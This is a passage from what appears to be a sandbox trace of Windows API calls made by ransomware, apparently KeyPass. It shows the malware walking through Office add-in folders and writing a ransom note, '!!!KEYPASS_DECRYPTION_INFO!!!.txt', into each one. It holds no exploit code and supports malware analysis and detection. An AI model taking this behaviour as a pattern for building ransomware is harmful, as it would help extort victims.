Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.193] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.193] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.193] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.dll") returned=".dll" [0255.193] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.193] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb") returned=".tlb" [0255.193] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.193] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.193] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.193] GetLastError () returned 0x3f0 [0255.193] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.193] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0255.225] GetFileType (hFile=0x8e0) returned 0x1 [0255.225] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.225] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.225] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.226] WriteFile (in: hFile=0x8e0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.226] WriteFile (in: hFile=0x8e0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.227] CloseHandle (hObject=0x8e0) returned 1 [0255.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987df8 [0255.227] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.229] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned=".xml" [0255.229] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.229] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.229] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.229] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.229] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.229] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.229] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.229] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.229] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.230] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.230] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.231] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.231] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.231] FindNextFileW (in: hFindFile=0x3987df8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.231] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.231] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.231] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.231] GetLastError () returned 0x3f0 [0255.231] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.231] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0255.251] GetFileType (hFile=0x8dc) returned 0x1 [0255.251] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.251] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.251] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.251] WriteFile (in: hFile=0x8dc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.252] WriteFile (in: hFile=0x8dc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.252] CloseHandle (hObject=0x8dc) returned 1 [0255.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987ff8 [0255.253] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.254] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.254] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.254] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.254] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned=".xml" [0255.254] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.254] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.254] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.254] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.254] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.255] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.255] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.256] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.256] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.256] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.256] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.256] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.256] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.256] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.256] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.256] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.256] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.256] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.256] FindNextFileW (in: hFindFile=0x3987ff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.256] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.256] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ReportingServicesNativeClient.dll") returned=".dll" [0255.256] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.256] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.256] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.256] GetLastError () returned 0x3f0 [0255.256] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.256] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0255.260] GetFileType (hFile=0x8e4) returned 0x1 [0255.260] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.260] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.260] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.261] WriteFile (in: hFile=0x8e4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.261] WriteFile (in: hFile=0x8e4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.261] CloseHandle (hObject=0x8e4) returned 1 [0255.262] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987c78 [0255.262] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.262] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.263] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.263] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.263] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.263] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.263] GetLastError () returned 0x3f0 [0255.263] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.263] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1025\\!!!keypass_decryption_info!!!.txt"), 